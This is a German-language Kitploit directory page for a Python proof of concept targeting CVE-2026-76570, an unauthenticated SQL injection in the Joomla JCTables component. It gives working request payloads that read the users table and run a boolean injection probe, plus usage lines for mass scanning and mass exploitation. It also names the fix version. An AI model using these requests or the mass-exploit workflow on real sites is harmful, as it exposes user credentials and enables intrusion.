Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-76570 — Python-PoC für CVE-2026-76570: nicht authentifizierte SQL-Injection in der Front-End-JSON-API von Joomla JCTables (com_jctables), mit Prüf-, Exploit- und Massen-Scan-Modus. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-76570
SchwachstellenscannerWeb-SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubmurrez/cve-2026-76570

CVE-2026-76570

Python-PoC für CVE-2026-76570: nicht authentifizierte SQL-Injection in der Front-End-JSON-API von Joomla JCTables (com_jctables), mit Prüf-, Exploit- und Massen-Scan-Modus.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-76570 — JCTables (com_jctables) unauthentifiziertes SQL-Lesen/Schreiben

Python-3-PoC für CVE-2026-76570 — Joomcode JCTables — unauthentifizierte SQL-Injection auf der Front-End-JSON-CRUD-API (getdatarow, getrow, …).

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (VERÖFFENTLICHT 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
Komponentecom_jctables
Betroffen1.0.0 – 1.20.0 (Labor: ≤ 1.10.31.2 bestätigt)
Fix≥ 1.21.1 (2026-08-05)
CWECWE-89, CWE-862
CVSS 4.010.0 Kritisch — AT:N (keine besondere Admin-Konfiguration)
AnalyseVulnCheck — JCTables SQL R/W → RCE-Kette

Funktionsweise (kurz)

Front-End-Controller-Tasks haben kein Token / keine ACL. Tabellen- und Spaltennamen aus der Anfrage werden in SQL konkateniert; ladb_escape() behandelt in Anführungszeichen gesetzte Werte als „bereits escaped“. getdatarow kann beliebige DB-Tabellen lesen (z. B. {prefix}users). Dieser PoC beweist das Lesen (Benutzername / bcrypt-Zeile) — er führt nicht die vollständige Admin-Login-/Plugin-RCE-Kette aus.

Erfolgsmarker: POCBIT-76570-OK (in den JSON-Proof-Metadaten).

Voraussetzungen

  • Python 3.9+
  • pip install requests urllib3 colorama

Verwendung

cd CVE-2026-76570
python poc.py                         # interaktiv
python poc.py hits.txt                # Massen-Exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # Massen-Scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # wenn das DB-Präfix bekannt ist
python poc.py --lab
python poc.py --help
python _engine.py --help

API-Oberfläche

SchrittAnfrage
Zeile lesenGET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
Boolesche ProbeGET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

Behebung

Aktualisieren Sie JCTables auf 1.21.1+ oder entfernen Sie die Komponente.

Rechtliches

Nur autorisierte Sicherheitstests.

Tool herunterladen